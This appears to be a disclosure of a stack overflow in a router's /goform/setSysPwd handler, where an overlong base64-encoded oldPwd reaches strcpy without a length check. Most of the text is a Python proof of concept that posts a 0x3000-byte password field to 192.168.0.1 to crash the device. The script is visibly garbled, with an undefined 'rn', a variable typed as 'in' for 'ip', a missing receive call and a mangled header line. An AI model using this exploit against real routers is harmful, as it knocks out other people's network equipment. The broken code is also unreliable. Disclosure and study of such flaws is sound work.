

In /goform/setSysPwd, when action is set to admin, the value of oldPwd will be base64 encoded and then passed to v3, and then v3 will be sent to encode_pwd by strcpy. It is worth noting that the stack overflow vulnerability is caused by not checking the size.

Poc

```
import socket
 import os
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
l1 = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
  in = '192 168 0 1'
 port = 80
 r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 r.connect((ip, port))
  p1 = b'a' * 0x3000
  p2 = b'action=admin&oldPwd=' + p1
  p3 = b"POST /goform/setSysPwd" + b" HTTP/1.1" + rn
  p3 += b"Host: 192.168.0.1" + rn
   p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
  p3 \; += \; b\text{``Accept: text/html,application/xhtml+xml,application/xml;} \\ q=0.9,*/*; \\ q=0.8" \; + \; rn \\ q=0.8" \; + 
  p3 += b"Accept-Language: en-US,en;q=0.5" + rn
  p3 += b"Accept-Encoding: gzip, deflate" + rn
  p3 += b"Cookie: password=1111" + rn
  p3 += b"Connection: close" + rn
  p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
  p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
  p3 += p2
  r.send(p3)
   response = response.decode()
  li(response)
```

You can see the router crash